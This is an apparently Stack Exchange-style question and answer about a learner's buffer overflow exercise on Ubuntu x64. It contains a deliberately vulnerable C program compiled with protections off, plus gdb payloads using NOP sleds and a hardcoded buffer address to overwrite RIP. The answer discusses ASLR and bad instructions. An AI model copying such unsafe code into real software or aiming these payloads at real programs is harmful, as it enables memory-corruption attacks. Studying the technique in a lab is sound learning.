Can't overwrite rip with address in simple buffer overflow (Ubuntu x64)

Question

I wrote a simple c program in order to test an buffer overflow. My goal is to overwrite the rip so it points to the beginning of the buffer.

The code:

#include <stdio.h>
#include <string.h>
#include <stdlib.h> 
int main(int argc, char **argv) {  
char buffer[256];   
strcpy(buffer, argv[1]);
printf("INPUT: %s\n", argv[1]);  
return 0;  
}

When i write r python -c 'print "A"*264 + "BBBBBB"' in gdb the rip is correctly overwritten with:

RIP: 0x424242424242 ('BBBBBB')

The beginning of the buffer is at 0x7ffffffede20. So i tried r python -c 'print "A"*264 + "\x20\xde\xfe\xff\xff\x7f"' in gdb to overwrite the rip but it doesn't work anymore. This is the content of rip (copied from gdb):

RIP: 0x7fffff050800 (<__libc_start_main+192>:                                         
add    al,BYTE PTR [rax])

Why does it work with the "BBBBBB" but not with the address? And i also tried

r `python -c 'print "\x90"*264 + "\x08\xde\xfe\xff\xff\x7f"'`

And for some weird reason this works again with the address 0x7ffffffedf08. But just not with the one i need.

(Compilation: gcc mybof.c -fno-stack-protector -z execstack -o mybof)

Answer 1

Please explain what you mean by "doesn't work". I am not able to comment because of my reputation.

I tried out your running your program and I used the same exploit. The exploit works fine.

I am able to think of 2 reasons of why it may not be working.

1. I hope you have disabled ASLR. Even if it is disabled, sometimes, the addresses change. But the change won't be as random when ASLR is on. So, make sure you take care of this.

2. Another reason why you feel/think it is not working could be the following:

This is the exploit code in the stack(buffer):

0x7ffffffede20: 0x90909090...................9090-0x20-0xde-0xfe-0xff-0xff-0x7f-0x00-0x00

The first 264 bytes are NOP bytes. Next 8 bytes is the Address of buffer.

RIP value will be the address of the buffer and then control is transferred to the beginning of the buffer.

Now, all the NOPs get executed one after another. When it encounters the bytes 0x20-0xde-0xfe-0xff-0xff-0x7f-0x00-0x00, this is no more an address. This is just 8 bytes which will be executed. I hope you get this point. They will be executed only if they are valid instructions. If they are not valid, the program SegFaults.

This is what the processor interpreted those 8 bytes as: (output of gdb-peda)

[-------------------------------------code-------------------------------------]
    0x7fffffffd975: nop
    0x7fffffffd976: nop
    0x7fffffffd977: nop
 => 0x7fffffffd978: jo     0x7fffffffd952
    0x7fffffffd97a: (bad)  
    0x7fffffffd97b: (bad)  
    0x7fffffffd97c: (bad)  
    0x7fffffffd97d: jg     0x7fffffffd97f
                                                             JUMP is NOT taken

Continuing, the program got killed due to SIGILL - (bad) instruction.

When it run normally without a debugger , it is seen as a Segfault.

This may or may not be the reason.

Would really help if you show some output of what is happening, why it is not working. We can dig deeper and find the cause.